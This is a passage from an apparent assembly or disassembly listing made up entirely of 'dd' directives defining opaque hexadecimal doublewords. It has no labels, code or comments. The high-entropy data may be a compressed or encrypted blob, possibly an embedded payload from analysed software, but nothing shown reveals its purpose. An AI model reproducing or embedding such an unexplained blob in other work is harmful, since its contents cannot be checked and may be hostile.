		dd 0C2E1639Ah, 0E0514DF5h, 0E33547ACh, 0B7E2E104h, 0F3BB8B3Ah
		dd 0C0025810h, 0E3E68226h, 6AD00208h, 8D954A39h, 0C1C881A2h
		dd 6DD5CAD7h, 1CB9E0A2h, 9697EB46h, 964DF66h, 2E89358Bh
		dd 76A64870h, 0DAEF2400h, 2DC92E63h, 23742542h,	85D834E9h
		dd 0F802C33Ch, 4B74B3EEh, 3229A2C9h, 0FC58BB09h, 68BE8520h
		dd 5A5A9987h, 0B1D1AEF8h, 0D3025FBCh, 1CD0EAC8h, 0AEDA7531h
		dd 39B74EC3h, 4A79D289h, 3E53F76Ah, 0E157E78h, 0B9188CC8h
		dd 0AFCCE824h, 0AD6784C1h, 696BA12Bh, 3B850418h, 0DBAFFF2Ah
		dd 384C5B0h, 0D528DDC2h, 7BFA4AD9h, 0CC020042h,	8683067Dh
		dd 3A2CEF16h, 0DE1D1E30h, 0BC983D67h, 25DAB0B8h, 80C6EC78h
		dd 87983809h, 14DA0036h, 0C8C9E3DDh, 0BF3EEC30h, 2539DA4h
		dd 4BB63240h, 0B0605F5Dh, 16DEAC2Eh, 0E83D18F6h, 5857C455h
		dd 6E2EFFB1h, 8820194h,	6A4AE2F9h, 0B8E7A92Bh, 0E1FD0097h
		dd 18439874h, 0DE4B8A76h, 0C52F41CDh, 3D16BAA2h, 0C0539FAEh
		dd 0E86AA911h, 0C4465D87h, 0EBD1FF85h, 0A25A51A2h, 178CCE5Fh
		dd 5CA06DB7h, 3E02DF12h, 7E7AED37h, 0B798DF9Ch,	59009EBCh
		dd 0B3C6B7EAh, 92B15h, 34F7B93Eh, 6AC8A42Fh, 0D6510225h
		dd 319102E6h, 0D54A5CD9h, 8C00557h, 0E21DB6ABh,	0AE4C1Ah
		dd 0BCB760FEh, 94BC4ABh, 15AA5B8h, 0E880A9E9h, 62301E73h
		dd 79134C00h, 0E9A8871Ah, 7267B5F3h, 0C2124512h, 83549BBFh
		dd 0D109CC8Eh, 9B2F3E5Ah, 921B8AE6h, 3276D08h, 0E1C860BFh
		dd 6D75F8EAh, 671D643Ah, 91846A70h, 0ADB305DEh,	0A555A46h
		dd 15F1D6D2h, 0B64ED23Ch, 6649E0B4h, 0F0DA00CAh, 0B550C2BBh
		dd 0C8D68D89h, 0B2A4D7A8h, 52AF5F42h, 0E278E657h, 0F333301Ch
		dd 0D838C901h, 0F5828F9Fh, 0A8F8A23Ah, 28FC0055h, 0DA03216Fh
		dd 0E74B919Fh, 0A3355F20h, 475A3FC8h, 4202609Ch, 6A0FA95Ch
		dd 71CD5BF7h, 0DD0020ACh, 3D70C18Ah, 1B312935h,	0C17ECDE5h
		dd 2FC25FBAh, 12019462h, 85A8D15Fh, 80B06A0Ch, 70E6016Ah
		dd 25302698h, 87BB5520h, 74FABDF1h, 13338D23h, 0E7CA30D7h
		dd 6197E513h, 896B2F9Bh, 0F2C42F00h, 99633ABh, 7B1781B1h
		dd 226476F6h, 67E25213h, 307C1600h, 0AE0522D0h,	4600769Dh
		dd 0CB16765Bh, 0FFAC134Dh, 0EFC9D702h, 0FC254BDDh, 0A1A4F4EBh
		dd 0C4C81444h, 1F242546h, 1209D18Fh, 0E9E945AAh, 478E316Dh
		dd 50AB7017h, 0DB554C3Bh, 0B5B3F18Ch, 0B8FCE369h, 0DB800908h
		dd 0F0BB55C6h, 0A6EBA602h, 553FE9AFh, 109772CCh, 239D293Ch
		dd 27940E35h, 3DE69218h, 0C059058h, 840B556Ch, 0BA52572Dh
		dd 26DD3061h, 0AF43282Fh, 0EE29A340h, 6AF7A999h, 0CB50DB7Bh
		dd 0AD87823Bh, 89E1091Dh, 0D6DD6A35h, 0E5A98E98h, 0AE9624B9h
		dd 122372Dh, 8FDF29AFh,	21733C2h, 0B974501Bh, 2D3F5E9Dh
		dd 483AF2D6h, 80D3C2C8h, 4EF957AEh, 0B82E1187h,	0F6D0DE0Bh
		dd 9D334513h, 2BB781EEh, 0C6DB3BD2h, 50F8EE80h,	7012374Bh
		dd 0E644FC6Ch, 67BC96D7h, 0B78260F2h, 580B2E19h, 26D002AFh
		dd 0FB8B615Eh, 6597B0D5h, 2D288510h, 51E5F712h,	566ED5E3h
		dd 42DC18EAh, 0D9D50FE5h, 0F5C47A6Fh, 8CE7AB00h, 0C18D2B89h
		dd 31FF0077h, 53CCF8AAh, 0A127D196h, 0D5371Fh, 0BB0C0353h
		dd 6D25C96Eh, 15CEC5DBh, 0C92D7C58h, 56538B5Dh,	6F00FCABh
		dd 8D22C8FBh, 49EA2E52h, 0BE4ACD46h, 0EC49A16Ah, 0E1FFD0C0h
		dd 149743B7h, 0AA064FB9h, 3C09937Ah, 0A14E0985h, 3068DF12h
		dd 0EB88B7E2h, 210948A4h, 71485C20h, 6F75D2A2h,	0EDA9408Ah
		dd 0CB2C986Ch, 67093160h, 9EDA7081h, 0B004DCE8h, 0FDBD0195h
		dd 0E11845EBh, 0B893A904h, 693713DAh, 384AF2EFh, 0FFB48086h
		dd 85A9B54h, 52660121h,	0C7803B79h, 0F482F4Eh, 859EB962h
		dd 18FD6D8Dh, 386959A9h, 0F33549h, 0C8E326C9h, 0C79AA01Ah
		dd 8102313Fh, 9934B8Ch,	0C2250D95h, 51FD627Fh, 3A5F6869h
		dd 235D2BB7h, 0F090E9A8h, 0CC055127h, 992E011Ah, 492FCFF3h
		dd 0BCD6EEC3h, 0BDA8740h
		dd 9D200C8h, 6A2910D7h,	0A90FB468h, 43B05777h, 95B5F56h
		dd 2E6D9DB4h, 0E8861875h, 0D349C706h, 4CE4D16Ah, 191A60CDh
		dd 955F0140h, 0C7D03A5Bh, 0F14011Ch, 2D3F6D68h,	80472C42h
		dd 829ED717h, 0ADC917AEh, 702E8B4h, 47D48170h, 1AE7294h
		dd 323C92B4h, 0D7A76842h, 8B80CDFDh, 2CD0DAAAh,	63442500h
		dd 8A24CAF0h, 4FC2B789h, 0BF37D85Dh, 1A6461CDh,	0BBF3EF65h
		dd 5925324h, 0C75F4DABh, 48784931h, 0D857FB97h,	2AFCCF22h
		dd 67E90E08h, 0A5BD8501h, 8974AE0Ch, 0A200EEB2h, 7C883645h
		dd 524B3922h, 0B5F827CCh, 0BD0B85F3h, 0E112EB11h, 0E26B2571h
		dd 0D0BA9D8Bh, 80C40612h, 24AE2909h, 1AA6AE73h,	2F2F3518h
		dd 0F54F0446h, 670FB4ACh, 34496C08h, 2A1420C9h,	0AB87FCh
		dd 5A73E43Fh, 27C50970h, 1C10195Dh, 0C00EA1B8h,	813D11D7h
		dd 0EA6E8A53h, 207DF888h, 17416801h, 0C82F5C57h, 93009A92h
		dd 0D35AECBDh, 928BCB15h, 14BE093Fh, 0AE6D5C48h, 0F78CB5C0h
		dd 0EA520431h, 0A3490872h, 2A484802h, 497BA2Dh,	0F7B9189Ah
		dd 391C5FD6h, 8A905B84h, 0C14BEBFCh, 0F80C81CFh, 5EF66158h
		dd 4925DC76h, 8E038A75h, 7686DCh, 7096802Bh, 6FF1D0F5h
		dd 0B0B552EAh, 2EF9B709h, 0DE2C615Fh, 9802D4F8h, 0E695FDA3h
		dd 838277BCh, 55E1C30h,	25953158h, 0C2712F39h, 0F92D51CEh
		dd 0CF8B2A71h, 9DE4D565h, 70F59D95h, 0F95ABD89h, 0A3EC10B9h
		dd 0F5E9CB00h, 8189788Fh, 2F7B09D7h, 0CD714D46h, 0EF042142h
		dd 0D126030h, 54147B11h, 0B1CC78B7h, 3D2D03F2h,	0E30B94E8h
		dd 0F6931DB6h, 4006C4E8h, 144BCF4Fh, 0A0634AECh, 0B88B0201h
		dd 59C88061h, 451213EDh, 89199E27h, 79BBC033h, 1A099D8Eh
		dd 0BD9D5658h, 28D9E16h, 0FFA73326h, 0CE80E9D1h, 0B1141E2Fh
		dd 35EF802h, 1555FA45h,	93D067FDh, 38B68D0Fh, 0BF3F992h
		dd 4F2344h, 0E698A1E0h,	67661CD9h, 8688900Eh, 0FF973ED6h
		dd 1658E4F9h, 3C9EBD3h,	2E71EA2Ah, 0A22A79B3h, 21A950E1h
		dd 0AAF2015Fh, 5BA3BB82h, 0A052D97Dh, 0B47EB594h, 79051FF4h
		dd 0B3704094h, 613E31Fh, 95F4C697h, 91DD8F62h, 0E93A7D2Fh
		dd 52D8E870h, 854AC2ACh, 27F4FBBAh, 0CB55499Dh,	97E8FD4Bh
		dd 0A887F081h, 0A95BF62Ch, 0E3EAC025h, 0E84E2Ch, 5598460Bh
		dd 90B89FABh, 5B739304h, 0E9B86242h, 112B2E55h,	0CDBC97B8h
		dd 0C2489405h, 52FF5E0Fh, 0ADA230h, 0C71332DCh,	17FB3D0h
		dd 0BCDB1E4Ch, 0C59582EFh, 88A6444Eh, 18975B96h, 2DBD31D6h
		dd 4C731145h, 0F10A239Fh, 0F849B928h, 4E44B034h, 0EC75BFC5h
		dd 7087F88Ch, 59330057h, 0E1B1C535h, 0B0003E0h,	652E2753h
		dd 5E9642C7h, 0E84D34C2h, 10D91060h, 4991313Eh,	96E85A01h
		dd 0C154BDC0h, 3B002DF8h, 922E4A38h, 2519E658h,	0BEF1D6C9h
		dd 0A8010A11h, 76821620h, 82542F17h, 3E895E7Bh,	686607Fh
		dd 550187CDh, 78194710h, 413FFE8Ah, 5D95895Dh, 7D5D34h
		dd 0E159774Fh, 0B9CDF800h, 0A768F324h, 42B04DAh, 0B8B82A86h
		dd 0BAB2D2DAh, 10A52C88h, 70C0F49Ah, 71E25CA0h,	0FFFD5D00h
		dd 968C2367h, 0A1E1BB02h, 0FD506127h, 0C7600099h, 26E2ACD4h
		dd 0F0026D96h, 5D765A99h, 7FF867FBh, 1B191378h,	2567A856h
		dd 926D565Fh, 0B0A8F7B5h, 0B8A0E97h, 0CCF348DBh, 986E1AD7h
		dd 7B1432Bh, 96F2A397h,	59DF40B2h, 0E9071F39h, 8A668991h
		dd 932177E2h, 60D8D073h, 7F4448B3h, 1309FF4Eh, 0E7CD7761h
		dd 2716DB49h, 0D9C407DDh, 0C57113E3h, 0CFBAB4h,	9AA37FB0h
		dd 40D14718h, 3FF4D504h, 4BA9CAEh, 0B83A12CBh, 2B3FA264h
		dd 9CBD654h, 254F5C70h,	6D8955Bh, 0E49FD3h, 0D4F6B31Fh
		dd 36B4CF01h, 0B26F2B99h, 40CB4AA3h, 0E954B702h, 0EDF6F446h
		dd 0CDE4B512h, 0D7C1508Bh, 0ED215ECDh, 6928D8E1h, 6B908114h
		dd 0D19482B8h, 44588A3Eh, 2BCAE592h, 0EF4FDAE3h, 7D90F462h
		dd 0EFC052CDh, 29E5CC9h, 2594A8F9h, 925D98FCh, 0C57255FFh
		dd 1C0E5100h, 0DEC781ADh, 15DB172Dh, 32E2835Fh,	6A70ED73h
		dd 42A7F99Fh, 2F5C258Dh, 138CB42h, 2EDBE780h, 0CF811000h
		dd 12689289h, 54609006h, 566FDD9Fh, 0E73BE633h,	0BDA7D1A0h
		dd 0C42A5ED8h, 6EDCF14Ah, 0FDBCCEEDh, 50282712h, 6D47AAFh
		dd 0AC2B62C9h, 0F3BA16E4h, 5BEFE075h, 6661CE25h, 25BFF8E3h
		dd 335F50E2h, 4416F41Ah, 0ACBEEDCAh, 5A61A3BBh,	0F025B670h
		dd 9F19B5A3h, 5A445AE2h, 0EF700260h, 7290F531h,	8D379550h
		dd 5406F400h, 13437F90h, 0F87DF8F1h, 0BA957150h, 2DB050C5h
		dd 2659EDE9h, 538D5C2h,	21C381F9h, 0E0F72F10h, 95064C58h
		dd 0CE3E8311h, 2830BF0h, 0CCD0BBC0h, 0E8DD3FC0h, 1035BF84h
		dd 7276F21Fh, 4EE8834Ah, 9B5AB1D5h, 0DBA696FAh,	155825Fh
		dd 7F397B0Ah, 92955EF8h, 0F415D44Dh, 0BBA32E09h, 0E07B5737h
		dd 59C28A09h, 0B7D5AD6Ch, 5DF2D6Ah, 60BC60B9h, 4AD57680h
		dd 119028D9h, 9A65EE78h, 4BBE9DA8h, 4E7761E5h, 0E06E8712h
		dd 487E8E85h, 0C1B53112h, 0EB0994AFh, 71316Eh, 88D96AF0h
		dd 0CE791F89h, 40AC824Ah, 2F0BC910h, 2012FF5Fh,	9C629462h
		dd 0D85BDBDFh, 0E92FF2DCh, 0C4516Eh, 0A28AAFA3h, 824A6296h
		dd 8A25A4D8h, 0B5A6078h, 591073B3h, 29608F2Ch, 4A44F5D7h
		dd 618CB604h, 8E8171E4h, 322B2239h, 3121F9A6h, 7DC62985h
		dd 9D0455D9h, 510B2EFDh, 20C50982h, 6BEC550Bh, 7029992Ch
		dd 0F65D51C5h, 0CBFEE8D8h, 0FC6A12C3h, 578DB07Dh, 0D03ABF02h
		dd 565B07F4h, 0EA5888Eh, 4D18D14Ah, 7FE0B747h, 2F6EB5E9h
		dd 0C35B61Fh, 7F3D1600h, 0FE3F6596h, 49A60BF1h,	0D8E41C4h
		dd 44024EAEh, 88D1D98Ah, 4618F300h, 120CC2DFh, 0AAECCA48h
		dd 7D9D8C42h, 97B0D52Ah, 4E8C21CDh, 5E6BA71Bh, 7DB014ECh
		dd 10B74BE9h, 9D2D315Eh, 0E988AF53h, 0E839800Dh, 1F44114Ch
		dd 0DE630A01h, 0E9B783ADh, 24CB222Bh, 8C2B8111h, 0B295FE45h
		dd 0FB5D50D1h, 82A41004h, 3AA1F193h, 0B3824DEDh, 666D07FEh
		dd 3DC087E0h, 0B0CD12F9h, 9D3D05EDh, 0F8EE9361h, 0C1EF6AAAh
		dd 56C66C42h, 0BDDD2FE2h, 0F72A0171h, 0C8B017EFh, 6409A48Bh
		dd 2B7FB994h, 0A542D121h, 375FDD42h, 963700F9h,	3DAB63EDh
		dd 7017622Dh, 1F75200Fh, 10C02B27h, 0A56D3Bh, 504DB0EDh
		dd 0F483FCB6h, 44F0FD02h, 4699AD4Ch, 0B537032Ah, 70EC3325h
		dd 2FF0AED0h, 27972048h, 8837D2h, 0DFC88E27h, 8C09F5D4h
		dd 0FE8F48B7h, 4E0681Fh, 0EA9FB2F3h, 19A2DB8Ah,	931D530h
		dd 0ECE74BA0h, 1F691882h, 5F0DBD22h, 0DDF99D91h, 0E0577788h
		dd 0A3BC2AA2h, 0F7208AC0h, 0D62F3465h, 3DB5611Bh, 1AB77F18h
		dd 0C57FAF5Ah, 0C19EB400h, 0C8F1B362h, 0D5364804h, 2FAEDA8Ah
		dd 539A5A3Dh, 4C14EB80h, 3865B29Dh, 0B06201D8h,	0DF475524h
		dd 8B0E7A11h, 0E713B8D8h, 9B83B0CEh, 8AAA015Bh,	9253685Fh
		dd 3AFEC58Bh, 1DB2BAA6h, 0A55B130h, 87715A9Ah, 0C6400983h
		dd 694064DCh, 3778DD9h,	36FE765Bh, 2FA72C73h, 4180150Bh
		dd 5F8248CFh, 0DFE1FF25h, 8788A61Ch, 0EB9B040Ah, 559FE189h
		dd 9E04C378h, 0C81AE002h, 8A35EB8h, 8F493B76h, 0F9F9932Fh
		dd 4BF97950h, 226A8E16h, 0A3BB3FB3h, 0BB419E97h, 0AF9261DBh
		dd 0B6CA2B5h, 0A341AE8Fh, 2ECAD25Bh, 0C6C87613h, 0BB7A00D8h
		dd 2302730Ch, 961CF139h, 0E6810BF7h, 0AB3A598Eh, 0E66A122Eh
		dd 0E816E05Bh, 0A98D02A3h
		dd 63366E1Eh, 0F200AA71h, 50F47834h, 0E71500F7h, 61A8BC46h
		dd 2397E06Fh, 8501186Dh, 0F5B7E6AFh, 0FAB0C8ABh, 4E0CE828h
		dd 13836900h, 14BD4BA6h, 2534FA6Eh, 0E3D05B62h,	0E9ED165Eh
		dd 27A27BDh, 0A8F78D59h, 0B18DE12h, 0DF7CC1BDh,	0E733DD6Bh
		dd 0BCBF50C0h, 146E0212h, 2A7458EAh, 952529D8h,	71E45DA9h
		dd 0DF0E680Ah, 890994B3h, 9914E421h, 0BCD18035h, 6DF99D3Dh
		dd 121CC0B8h, 5E9DA1ECh, 0C013B94Bh, 13E0BF67h,	0FE2C36AAh
		dd 93F1D623h, 54F5D26Bh, 3F7C699Ch, 0A572C960h,	3AC60F3Ch
		dd 39003282h, 0AB0340AFh, 1870F11h, 0AF5BF813h,	1A41C598h
		dd 25CDE923h, 0D372EAF3h, 40B02AD6h, 0CD4BB710h, 0B757238Ch
		dd 0E21F0781h, 0ED0A825Bh, 5C5046A8h, 0FA016523h, 9A20D9A5h
		dd 2DC996FDh, 2DDE35D7h, 0C103974Ch, 0DA160879h, 0E55A25F4h
		dd 6D9570F8h, 601B6466h, 95CAC8B3h, 0F592545Eh,	0EEEC9A17h
		dd 84239A0h, 0CE0998E6h, 6D0689B3h, 5E8EC092h, 3F0357DCh
		dd 36F466EBh, 11D212D9h, 7B993908h, 3B00C76Ah, 9BDEE982h
		dd 1627BC14h, 61AB5466h, 2E1185h, 9D525096h, 306B7210h
		dd 0DAE26904h, 0F2EF8718h, 57A200E3h, 0B031C5B5h, 205B5A21h
		dd 79BB66A1h, 3796C927h, 6E230340h, 0A4251EA1h,	96FAC4DAh
		dd 0DC9DDE68h, 0BDB300D6h, 4C264A68h, 21C86C4Fh, 2B7000CCh
		dd 14E77DAh, 453DEDF8h,	0E4804BF7h, 495325B5h, 1B25646Ch
		dd 88B0B4CEh, 46107927h, 0EB8DA88Eh, 5BDD254Eh,	0A246335Fh
		dd 1162C061h, 48C79525h, 513E09A5h, 0B4A4774h, 58D0EDD3h
		dd 0CD01023Dh, 2AA19D29h, 0A6FC797Fh, 2604DE8Dh, 0E24713B2h
		dd 0A4703BAEh, 34A822EDh, 73596175h, 2527BC58h,	1B582EB4h
		dd 48EB8039h, 22B5761Bh, 55C185AEh, 0EA9AC467h,	9E37FF6Ch
		dd 16DA5189h, 54C06B23h, 3178AC7Bh, 0E76D045Dh,	0C89D89AEh
		dd 4C95561Dh, 0B5C0B010h, 0BF50DC74h, 571B120Dh, 0AC93B97Eh
		dd 13098C19h, 8AB0F9D6h, 5325AC37h, 181C59EDh, 1B7B001Eh
		dd 0CA63D6EDh, 0FBBE3AB5h, 0F48E5B40h, 0FA81259Eh, 0F900FFF6h
		dd 3520DD2Bh, 12A6FA56h, 0AE1B36D6h, 4A981166h,	4895EC50h
		dd 0B2754628h, 9DDAD7E4h, 411E78B5h, 0AB206B18h, 4AEB283h
		dd 57D7D639h, 328AAA5Bh, 35BF7DA0h, 20C6C712h, 0ADD3CDB9h
		dd 909DA82Fh, 0A2DD9674h, 1C7BBDD5h, 9870E4DAh,	6E769F13h
		dd 8213D76Eh, 2D6ED9EEh, 9848457h, 6280935Dh, 935CFABCh
		dd 55B50905h, 20502405h, 1B6FEAh, 0CE661514h, 1240B4B1h
		dd 0E3FC359Eh, 70994C7Bh, 7995744Bh, 0C4A1AFF7h, 8A3AA019h
		dd 0D4187E95h, 0FFA77B93h, 3077F90Bh, 17B9CB5Ch, 0C453CCBEh
		dd 35B7FF23h, 0EC083FA0h, 4059DCBDh, 0CEB4DB81h, 505C6804h
		dd 9C94C1B7h, 6E020F6h,	8700B5C9h, 31AD340Dh, 9DF59D0Bh
		dd 0F19FCE58h, 398EECF0h, 98560140h, 0BD520D5h,	3DBB5B4Ah
		dd 199DEC7Bh, 7596C5C9h, 50F429C6h, 27FFFBBDh, 62A5CED1h
		dd 0E0E96DE9h, 0B7215B68h, 4B7679B5h, 1A45B1F0h, 6200E963h
		dd 0E90A2D41h, 0AC0E1F96h, 80D438D5h, 0FEC317B8h, 31480BF9h
		dd 3DE45BBDh, 53BFF10Fh, 0A7B1021Bh, 9AD95558h,	0CED098A0h
		dd 21ADE1AAh, 9784AF14h, 549C38AAh, 45F43389h, 0FCFB9F34h
		dd 9F114E7Ah, 109FA5Ch,	0F4B2FEC6h, 0F8BE7916h,	9D32614h
		dd 575F029Ah, 0A0A57C65h, 0B6417DC0h, 4CE20BF3h, 0C4FD8F93h
		dd 0E0589FD3h, 613CB702h, 5550E95Bh, 3DC2A28Bh,	0C1966674h
		dd 348043DBh, 53B26601h, 78DF7C00h, 8D09F2F9h, 0BA1C5BEDh
		dd 6A3B6B29h, 0EEA24AC4h, 26BF5001h, 283B9956h,	0FA65B7Bh
		dd 115843E0h, 0DCE7801Ah, 0A48D5742h, 0A7AE840Ah, 0B8AEFF48h
		dd 0BCC38E01h, 31B522E5h, 56E9FF8Dh, 7E8D6153h,	0F35FC992h
		dd 2B82D091h, 7B77BF0Bh, 91940B7h, 17654F9Dh, 699AAB14h
		dd 862A9896h, 0E43D0D00h, 0E3811579h, 8A561277h, 0AC21AD18h
		dd 0B9098C17h, 3EED422h, 2D0FB5B8h, 0FBC4D1B1h,	1A7ED000h
		dd 3D7AA206h, 5930007Bh, 0D5DDBE84h, 0A348C5EFh, 9E9E74E8h
		dd 7AE25B12h, 6D5BC389h, 128F7CD8h, 0EB52B019h,	225F3C83h
		dd 0C49F1F56h, 66970026h, 821518F8h, 7A1CC333h,	9A801B74h
		dd 7E16E63h, 91D2DCBh, 0FA422855h, 60B90213h, 4FA12FB9h
		dd 182D2141h, 0ABF45002h, 5F86B501h, 7C6E5690h,	34C25F16h
		dd 74958DBBh, 5401DE13h, 66265235h, 1BE0A259h, 0BD290955h
		dd 94FF0B9Dh, 0E9DE12E7h, 89DCE3BFh, 559E09B1h,	49803537h
		dd 2ED5B228h, 47DE49ABh, 0D401B8BCh, 0B501692Ch, 0C40407C9h
		dd 0FB94BE2Eh, 0A5EEA6BBh, 0DB0093F6h, 663103A6h, 4EBE9AA2h
		dd 902E0F10h, 12791D1Fh, 4BD8AEF8h, 33F121B5h, 0D1850960h
		dd 23519D02h, 0BF0FE74Eh, 0DFB56BAFh, 0F5025E62h, 66556983h
		dd 28C30068h, 97ED427Ch, 3502B7EFh, 0F05B2953h,	0D0274032h
		dd 0BB314EA3h, 403AE767h, 75F58D0Ch, 33D995B0h,	16921480h
		dd 904AB1CCh, 265520D0h, 70E65F18h, 332DB5Ah, 8971E4D2h
		dd 5D58019Dh, 9C6A1DD7h, 4BE47612h, 850188C3h, 97107921h
		dd 3119F060h, 97581640h, 58A7D9F9h, 604F98FEh, 32EF7260h
		dd 953A2313h, 0D8FCCF85h, 518A76D8h, 0C24F5325h, 4010564Bh
		dd 6B49077Fh, 1B426A00h, 2BFCAF4Ah, 20BD90C8h, 8B273379h
		dd 34D4D0D1h, 0EF396CE9h, 324C9C0Eh, 8603B30Bh,	25BD2B22h
		dd 33C2FBBFh, 0D56E21CBh, 28FF1312h, 90A12BCFh,	3CE90122h
		dd 4FB31789h, 0D8A72071h, 2D23B4EDh, 807CB857h,	0FD8E4FCBh
		dd 9820D6B4h, 34EAD2BBh, 10D637F2h, 7912DC5Ah, 0C98AAE2Ch
		dd 7AFEC417h, 539E0774h, 62FD6AC8h, 5675923Ah, 8F005D71h
		dd 0E71EC012h, 86EC0089h, 10B81F42h, 0C101F0A0h, 5614257Ch
		dd 0AD3B5FF5h, 0ABBCDFh, 41FF4786h, 34F26920h, 498874BDh
		dd 53933859h, 0DE6AC40h, 0BC05B95Fh, 0AD4D2FACh, 22CA5EC0h
		dd 0A6603A87h, 0ECEAA9CAh, 9B7F0298h, 0D43AE8C7h, 0D40DCD4h
		dd 2C47D2Ah, 0E37094B5h, 5A41CEB2h, 439B2FC0h, 0EC34AA97h
		dd 841ED81h, 0C01FB83Ah, 7399AED2h, 3EB7EF9h, 0F60D09C8h
		dd 0EEED2BBEh, 3C1F886Eh, 9407C94Dh, 67D79729h,	719D8B53h
		dd 18588029h, 1AB3DB7h,	734F8552h, 31123ED7h, 4BB3C0CCh
		dd 52078CA3h, 0FE5BF82Dh, 0B4027D38h, 605BB98Ah, 0B529D97Ah
		dd 0C647D24Fh, 5C0EC7C0h, 127B4F3Ah, 8E00B218h,	0C5B91673h
		dd 94F3BE8h, 0A64A98A8h, 61EF5B71h, 6A0B15E6h, 0B5513DDCh
		dd 71280090h, 0A501E500h, 0A360AAC9h, 0F0760185h, 417EB947h
		dd 2B39F5B1h, 5AB9E116h, 0A32518B8h, 9F9657Dh, 3D570468h
		dd 0F14B007Fh, 0AADC6310h, 0C68D655Ah, 4E11282Bh, 66D9BB89h
		dd 46558A5h, 0CF04060Bh, 1F414071h, 0B52C9DA1h,	542492B7h
		dd 986900DEh, 6F0B8F1Eh, 6AB5F86Ah, 547C06Ah, 736D9503h
		dd 0D6621644h, 0FE63D3E2h, 46552C8Ah, 0FE2D4AEDh, 0D883F99Eh
		dd 0EBF0503Ah, 2212DE59h, 48A35F36h, 49B53105h,	0E671EF16h
		dd 34C5BD89h, 0A553EC6Ah, 38E86ABBh, 53609290h,	4000BEA2h
		dd 81EEE5FCh, 5F5F68AAh, 78EAE6h, 0F8176773h, 0E3B63133h
		dd 0EA161800h, 0AAA83F9Eh, 55BF0566h, 0AF905F01h, 0FE00F56Eh
		dd 3F0FBF99h, 44C369EDh, 0D3CBE668h, 455E12DAh,	19FAB0BBh
		dd 255F3817h, 0C8BAFAC4h, 54B5E903h, 3B00F4AEh,	4D3DECCEh
		dd 5E9D337Bh, 0FEA51329h, 994A736Bh, 3A97F7Fh, 74FFF340h
		dd 0DEED5929h, 0ECC05A78h
		dd 2A129333h, 0EED22EA9h, 1B12512h, 74E01F37h, 70253185h
		dd 6A1E1086h, 54561CD5h, 941A84A0h, 5B23B86Fh, 66EC52EDh
		dd 0BF802A91h, 75BA8D1Ah, 9A0F4BC1h, 0C818C824h, 13CD1682h
		dd 20DFB038h, 0A5415995h, 3B508B73h, 9D0B0998h,	0A57B2BA1h
		dd 0F6181779h, 0F3760612h, 2415D704h, 402BA8A5h, 1A2B30Eh
		dd 5A9FA9B5h, 1C829518h, 14532434h, 2AA4570h, 1E6D034h
		dd 0F1562920h, 11946DCh, 0B51A5711h, 0CD3E810Ah, 298642C1h
		dd 0C4442ED5h, 68003449h, 2DFB22D5h, 4A27F897h,	2AF6C0CAh
		dd 0BFF6E421h, 2EACDDF3h, 0E8D26DECh, 0CF330BDDh, 2F06FE90h
		dd 4C9C107Dh, 807C2D06h, 0D34D9690h, 0AD00B677h, 5B187289h
		dd 9513820Fh, 8080787Bh, 0A2FB393Dh, 0B3C0005Dh, 89AE426Fh
		dd 614A5E35h, 67BD12FAh, 0D9F88719h, 7193A5B7h,	680037A2h
		dd 153C8254h, 6401D95Eh, 0E1CA476Bh, 0FDCA164Bh, 1E7F0AABh
		dd 5043BBB7h, 7D12FDFBh, 0E2AEA20Dh, 0E7800908h, 475359C1h
		dd 4F6082Bh, 4CECCF9Ah,	0C4B4FBF5h, 81953B29h, 0F246BBC3h
		dd 3975CCF2h, 217A5519h, 2E62B475h, 0B56A3428h,	0F8F45476h
		dd 0E1D2F33h, 2D607354h, 0F0C799DAh, 83E299F5h,	0DEE3FC96h
		dd 0BDBC51F8h, 0DBFDAF52h, 0A6BA8460h, 7D97E16Eh, 847F2A2Bh
		dd 8BC5514Ch, 5B27FFEDh, 0D97D4842h, 6BA025h, 0FD62118h
		dd 0D1D8DA22h, 71C4534Ah, 0A0D7A7BBh, 0B7B9D473h, 6A2DBCE1h
		dd 887DCEDDh, 0EE01D8B8h, 0EAE3A87Eh, 812ACA39h, 1311576h
		dd 61E8E680h, 880F1896h, 5F503B02h, 38C7BE5h, 21D300BBh
		dd 23963B20h, 699FF9BDh, 1B4185E6h, 6B7FD98Bh, 31C23F3h
		dd 2DA2EB8Bh, 43F7DE88h, 22BBA902h, 5C4D1C16h, 38FC6B4Ah
		dd 3D95BA22h, 5BB08179h, 3B0BAB69h, 75AA8D84h, 0B09ABFF7h
		dd 2C311AC9h, 64A0FCC4h, 0D430C012h, 0FC5ECCA2h, 0F69DF0B0h
		dd 488F48Eh, 0F3B62F9h,	3EBE8986h, 0FC3EC089h, 0D917B041h
		dd 231607B3h, 195F5D6Dh, 91D23575h, 0FAEC801Dh,	0C1A416h
		dd 0D6B7A28h, 0E238BBD0h, 0C21AB625h, 0E00DCD9Dh, 9FC563C7h
		dd 1BAD25Eh, 7D958940h,	52E87A28h, 45C1D096h, 0F6004E12h
		dd 140D6779h, 0B02B9E3Eh, 38F7952Ch, 2FC0305h, 0AA54B0DEh
		dd 0BE5CE3CDh, 0D0097769h, 14D53B0Bh, 0A8A21C11h, 0B6730097h
		dd 17783EDh, 35304701h,	9BFCEE66h, 9D29986Bh, 15BB314Bh
		dd 5CE81065h, 5B4A5F1Ch, 0F8926A44h, 9C802CACh,	77E13E01h
		dd 0D2949F0Bh, 39CAFD7Dh, 201975C0h, 0EAC45E82h, 1B312F8Dh
		dd 5F2CAF9Dh, 268A2EB0h, 60A5AE02h, 0E037BD94h,	1339C4FDh
		dd 0AA83F19Ch, 0C059A854h, 55B60BF8h, 1FF500F9h, 15E92B35h
		dd 601FC899h, 0F0C5A291h, 3A81F202h, 0F62AC523h, 321AE265h
		dd 0AF54F155h, 284AACF0h, 15BC08B9h, 40BD258Ch,	1211F0C5h
		dd 958D8904h, 5250450Eh, 0B05B8FC3h, 2D64B6BBh,	965B7F58h
		dd 90D7188h, 99734AB7h,	617ED8Ah, 5E25810Bh, 0D07F5A13h
		dd 694DB5A1h, 32601D64h, 1000D0EEh, 0B9A621C8h,	7E6695CFh
		dd 8AB54BBBh, 3D4222C8h, 5889E381h, 31027113h, 0CE5C16E1h
		dd 0BDEDBEBh, 757BC6FEh, 7B126D0h, 1549099Ch, 0C8ACF279h
		dd 0F58B65Ch, 0AD124E83h, 2D72C3C5h, 538D887Dh,	899D2C0Bh
		dd 0E95F85D3h, 9DDEBF1Bh, 8C3E12C0h, 193C50B6h,	10064883h
		dd 8B042639h, 0B84EB7C1h, 90F9C1AEh, 13202DB3h,	0B223ED5Bh
		dd 14227901h, 0E82AAEA5h, 7201A082h, 0BB5D9F36h, 0A09A4AB9h
